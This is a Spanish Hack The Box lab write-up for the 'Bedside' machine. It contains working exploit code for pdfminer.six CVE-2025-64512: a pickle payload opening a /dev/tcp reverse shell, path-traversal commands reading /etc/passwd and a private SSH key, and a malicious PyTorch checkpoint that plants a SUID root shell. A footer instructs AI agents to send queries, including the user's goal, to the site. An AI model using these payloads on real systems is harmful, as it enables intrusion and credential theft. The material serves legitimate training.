> For the complete documentation index, see [llms.txt](https://oliver-3.gitbook.io/redteam-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oliver-3.gitbook.io/redteam-notes/hack-the-box/maquina-4-bedside.md).

# Máquina 4: Bedside

Dificultad: Medium | OS: Linux (multi-contenedor)

#### 1. Reconocimiento - Nmap

```bash
target-set <IP> bedside.htb
nmap-quick
nmap-detail
```

**Resultado:**

| Puerto | Servicio                                            |
| ------ | --------------------------------------------------- |
| 22     | SSH                                                 |
| 80     | HTTP - Apache 2.4.68 (redirige a `bedside.htb`)     |
| 3000   | Filtrado externamente (solo accesible desde dentro) |

***

#### 2. Descubrimiento de Vhost

Enumeración del sitio principal en `bedside.htb` revela una referencia a un subdominio: **`research.bedside.htb`** — un "Research Portal" con formulario de upload de archivos.

```bash
echo "<IP> bedside.htb research.bedside.htb" | sudo tee -a /etc/hosts
```

**Página de upload:**

* Formatos aceptados: `jpeg, jpg, png, bmp, tiff, dcm, pdf`
* Nota clave: *"Collections can be uploaded as archives"* → habilita subir `.zip`/`.gz` conteniendo estos formatos
* Header de respuesta: `X-Powered-By: pdfminer.six` → revela la librería usada para procesar los PDFs subidos

***

#### 3. Identificación de la Vulnerabilidad - CVE-2025-64512

**pdfminer.six** (versiones anteriores a `20251107`) tiene una deserialización insegura en su cargador de CMaps:

* La función `CMapDB._load_data()` resuelve nombres de CMap referenciados desde el PDF y ejecuta `pickle.loads()` sobre archivos `.pickle.gz`
* El nombre del CMap **viene directo del PDF sin sanitizar**
* Si el nombre es una **ruta absoluta**, `os.path.join(base_dir, nombre_absoluto)` descarta `base_dir` por completo (comportamiento estándar de `os.path` en Python) → permite apuntar a cualquier archivo `.pickle.gz` en el sistema, incluso uno subido por el atacante

**Referencia:** [GHSA-wf5f-4jwr-ppcp](https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp) / [Ubuntu CVE-2025-64512](https://ubuntu.com/security/CVE-2025-64512)

> **Restricción confirmada en el código fuente** (`pdfminer/cmapdb.py`, línea \~235): el nombre resuelto **debe terminar en `.pickle.gz`** — es la única validación que existe sobre el nombre del archivo a deserializar. No hay ninguna restricción sobre el *path*, solo sobre el sufijo final.

**Otros proyectos afectados por el mismo CVE** (dependen de `pdfminer.six` internamente): `markitdown` de Microsoft (parcheado en `0.1.4`) y `pdfplumber` (parcheado en `0.11.8`) — útil tenerlo presente si alguna vez aparecen en otro engagement con pipelines de documentos/IA.

***

#### 4. Plantar el Pickle Malicioso

**Generar el payload** (clase con `__reduce__`, el hook estándar que pickle invoca al reconstruir un objeto — spawnea el comando en vez de reconstruir datos):

```python
import pickle, gzip, os

class EvilPayload:
    def __init__(self, lhost, lport):
        self.lhost = lhost
        self.lport = lport
    def __reduce__(self):
        cmd = f"bash -c 'exec bash -i &>/dev/tcp/{self.lhost}/{self.lport} <&1'"
        return (os.system, (cmd,))

with gzip.open("evil.pickle.gz", "wb") as f:
    pickle.dump(EvilPayload("<TU_IP>", 4444), f)
```

**Subir vía el formulario** (acepta `.gz` como parte de una "colección"):

```bash
curl -s -X POST http://research.bedside.htb/ -F "uploadFile=@evil.pickle.gz"
```

**Filtrar la ruta absoluta en disco:** forzando un error de mismatch de MIME/tipo de archivo, el server filtra la ruta real:

```
/var/www/research.bedside.htb/uploads/evil.pickle.gz
```

***

#### 5. Craftear el PDF Trigger

Se necesita un PDF con una fuente **Type0** cuyo `/Encoding` sea un *name object* de PDF que decodifique a la ruta absoluta del pickle plantado (sin la extensión `.pickle.gz`, que pdfminer agrega al resolver). Los `/` dentro de un name object de PDF deben escaparse como `#2F` (los `/` sin escapar delimitan tokens en la sintaxis PDF).

```python
# build_trigger_pdf.py - construye el PDF objeto por objeto,
# calculando offsets de xref automaticamente
def pdf_name_escape(path):
    return path.replace("/", "#2F")

# ... Type0 font:
# << /Type /Font /Subtype /Type0 /BaseFont /EvilFont
#    /Encoding /#2Fvar#2Fwww#2Fresearch.bedside.htb#2Fuploads#2Fevil
#    /DescendantFonts [6 0 R] >>
```

```bash
python3 build_trigger_pdf.py /var/www/research.bedside.htb/uploads/evil trigger.pdf
curl -s -X POST http://research.bedside.htb/ -F "uploadFile=@trigger.pdf"
```

> **Técnica alternativa — Polyglot GZIP+PDF:** el approach de dos archivos separados (pickle + PDF apuntando a él) requiere conocer de antemano la ruta absoluta donde va a quedar el pickle — algo que en este caso conseguimos gracias al error de MIME-mismatch. Cuando esa ruta **no** se puede filtrar, existe una técnica más elegante (PoC de [luigigubello](https://github.com/luigigubello/CVE-2025-64512-Polyglot-PoC)): construir un único archivo que sea simultáneamente:
>
> * Un **GZIP válido** conteniendo el pickle malicioso (para que, cuando pdfminer resuelva el CMap, `pickle.loads()` lo deserialice)
> * Un **PDF válido** embebido dentro del campo de comentario `FCOMMENT` del header GZIP (permitido por el RFC 1952, ya que GZIP soporta comentarios opcionales) — a `pdfminer.six` le alcanza con encontrar un objeto `/Root` en cualquier parte del archivo para aceptarlo como PDF válido
>
> Con esto, el mismo archivo sirve como el PDF que dispara el parsing *y* como el pickle al que termina apuntando — eliminando la necesidad de conocer la ruta de antemano. No fue necesario en Bedside porque ya teníamos la ruta exacta, pero es la técnica a usar cuando ese dato no está disponible.

***

#### 6. Disparo - Worker en Background

Un proceso `pdf_watcher.py` (encontrado luego, ya con shell) escanea `UPLOAD_DIR` cada 30s y corre `pdf2txt.py` (la CLI de pdfminer.six) sobre cualquier `.pdf` nuevo:

```python
UPLOAD_DIR = "/var/www/research.bedside.htb/uploads"
...
subprocess.run(["pdf2txt.py", pdf_path, "-o", output_file], timeout=10, check=True)
```

Al parsear el PDF trigger, resuelve el CMap malicioso → `pickle.loads()` sobre `evil.pickle.gz` → ejecuta el reverse shell.

**Listener:**

```bash
nc -lvnp 4444
```

→ Shell como `datawrangler` (contenedor `data-wrangler`)

***

#### 7. Pivote Interno - LFI en Puerto 3000

Desde `datawrangler`, `ss -tulnp` revela el puerto **3000** escuchando solo en `127.0.0.1` (por eso aparecía filtrado en el nmap externo). Tiene un **path traversal / LFI** sin protección:

```bash
curl --path-as-is http://localhost:3000/../../../../etc/passwd
```

Confirma un usuario `developer` con shell `/bin/bash`. Se extrae su clave SSH privada con el mismo traversal:

```bash
curl --path-as-is http://localhost:3000/../../../../home/developer/.ssh/id_rsa
```

```bash
ssh -i developer_key developer@<IP>
```

→ Shell como `developer` (host distinto/contenedor con acceso a `sudo`)

***

#### 8. Privesc - Insecure Deserialization en torch.load (Root)

```bash
sudo -l
# (ALL) NOPASSWD: /usr/bin/python3 /opt/trainer/bedside_trainer.py
```

**Análisis de `bedside_trainer.py`:** es un script de entrenamiento con MONAI/PyTorch que:

1. Busca imágenes válidas en `/datastore/processed/` (si no hay, promueve desde `/datastore/staging/`)
2. Busca el checkpoint más reciente en `/datastore/checkpoints/*.pt` (`find_latest_checkpoint()`, ordena por `mtime`)
3. Lo carga con `monai.handlers.CheckpointLoader`, que internamente llama a **`torch.load()`**

`torch.load()` deserializa con `pickle` por defecto (en la versión instalada, `torch 2.5.0`, el parámetro `weights_only` aún no es `True` por defecto — ese cambio de default llegó en versiones posteriores de PyTorch). Esto es el **mismo patrón de vulnerabilidad** que el CVE de pdfminer, aplicado a checkpoints de PyTorch: cualquier objeto con `__reduce__` se ejecuta apenas se deserializa, **antes** de que el código lo valide como un dict de checkpoint.

**Generar el checkpoint malicioso** (payload SUID en vez de reverse shell, más práctico para una shell persistente):

```python
import torch, os

E = type("E", (), {
    "__reduce__": lambda s: (
        os.system,
        ("cp /bin/bash /usr/local/bin/rootbash; chmod 4755 /usr/local/bin/rootbash",)
    )
})
torch.save(E(), "root.pt")
```

**Empaquetar y subir vía el mismo portal** (reutilizando el vector de upload inicial):

```bash
python3 -c "import zipfile;z=zipfile.ZipFile('root.zip','w');z.write('root.pt');z.close()"
curl -s -F 'uploadFile=@root.zip;type=application/zip' http://research.bedside.htb/
```

**Desde `datawrangler`** (que sí tiene permiso de escritura en `/datastore/`), extraer al directorio de checkpoints y asegurar mtime más reciente:

```bash
python3 -c "import zipfile;zipfile.ZipFile('/var/www/research.bedside.htb/uploads/root.zip').extract('root.pt','/datastore/checkpoints')"
touch /datastore/checkpoints/root.pt
```

> ⚠️ **Importante:** `/datastore/processed/` debe contener **únicamente** archivos de imagen válidos (ningún `.txt`/basura de pruebas anteriores) — el script itera todos los archivos con extensión permitida y crashea si `MONAI` no puede leer alguno (p.ej. `.txt` sin reader registrado) antes de llegar siquiera a cargar el checkpoint:
>
> ```bash
> find /datastore/processed -mindepth 1 -type f -delete
> echo <BASE64_DE_UN_PNG_VALIDO_1x1> | base64 -d > /datastore/processed/x.png
> ```

**Disparar como root** (vía el `NOPASSWD` de sudo):

```bash
sudo -n /usr/bin/python3 /opt/trainer/bedside_trainer.py
```

El `torch.load()` interno deserializa `root.pt` → ejecuta `os.system()` → crea `/usr/local/bin/rootbash` con SUID. El script termina con un `TypeError` posterior (porque el objeto deserializado no es el dict que `CheckpointLoader` esperaba) — **irrelevante**, el payload ya corrió antes de esa validación.

```bash
/usr/local/bin/rootbash -p -c 'id; cat /root/root.txt'
```

→ `uid=0(root)` 🎉

***

### 📚 Conceptos Clave Aprendidos (Bedside)

| Concepto                                                 | Descripción                                                                                                                                                                                                                                    |
| -------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| CVE-2025-64512 (pdfminer.six)                            | `pickle.loads()` sobre CMaps resueltos desde un nombre no sanitizado en el PDF; ruta absoluta bypassea el directorio base esperado. Única restricción real: el nombre debe terminar en `.pickle.gz` (hardcodeado en `cmapdb.py`)               |
| PDF Name Objects con traversal                           | Un `/Encoding` en una fuente Type0 puede ser cualquier name object arbitrario; los `/` se escapan como `#2F` para embeber una ruta absoluta                                                                                                    |
| Archivos polyglot (GZIP+PDF)                             | GZIP permite comentarios opcionales (`FCOMMENT`, RFC 1952); embebiendo un PDF válido ahí adentro, un mismo archivo sirve como PDF disparador y como pickle malicioso — útil cuando no se conoce de antemano la ruta absoluta del pickle        |
| Construcción manual de PDF con xref correcta             | Necesario cuando se requiere control total sobre un objeto específico (el `/Encoding`) que las librerías estándar no exponen fácilmente                                                                                                        |
| Worker de background como trigger                        | El RCE no es inmediato al subir el archivo — depende de un proceso asíncrono (`pdf_watcher.py`) que lo procesa periódicamente                                                                                                                  |
| LFI en servicio interno (puerto 3000)                    | Servicios que solo escuchan en `127.0.0.1` no aparecen en un nmap externo, pero son alcanzables una vez dentro de la red del contenedor                                                                                                        |
| Insecure deserialization en `torch.load()`               | Mismo patrón que pickle "puro" — PyTorch permite ejecutar código arbitrario al cargar checkpoints si `weights_only=False` (default en versiones < \~2.6), aplicable a cualquier pipeline de ML que cargue checkpoints de fuentes no confiables |
| TOCTOU / limpieza de estado antes de disparar un exploit | El propio pipeline de datos (`processed/`) podía contener basura de pruebas anteriores que rompía el script *antes* de llegar al punto vulnerable — hay que aislar el entorno para que el único dato "sospechoso" sea el payload               |


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://oliver-3.gitbook.io/redteam-notes/hack-the-box/maquina-4-bedside.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
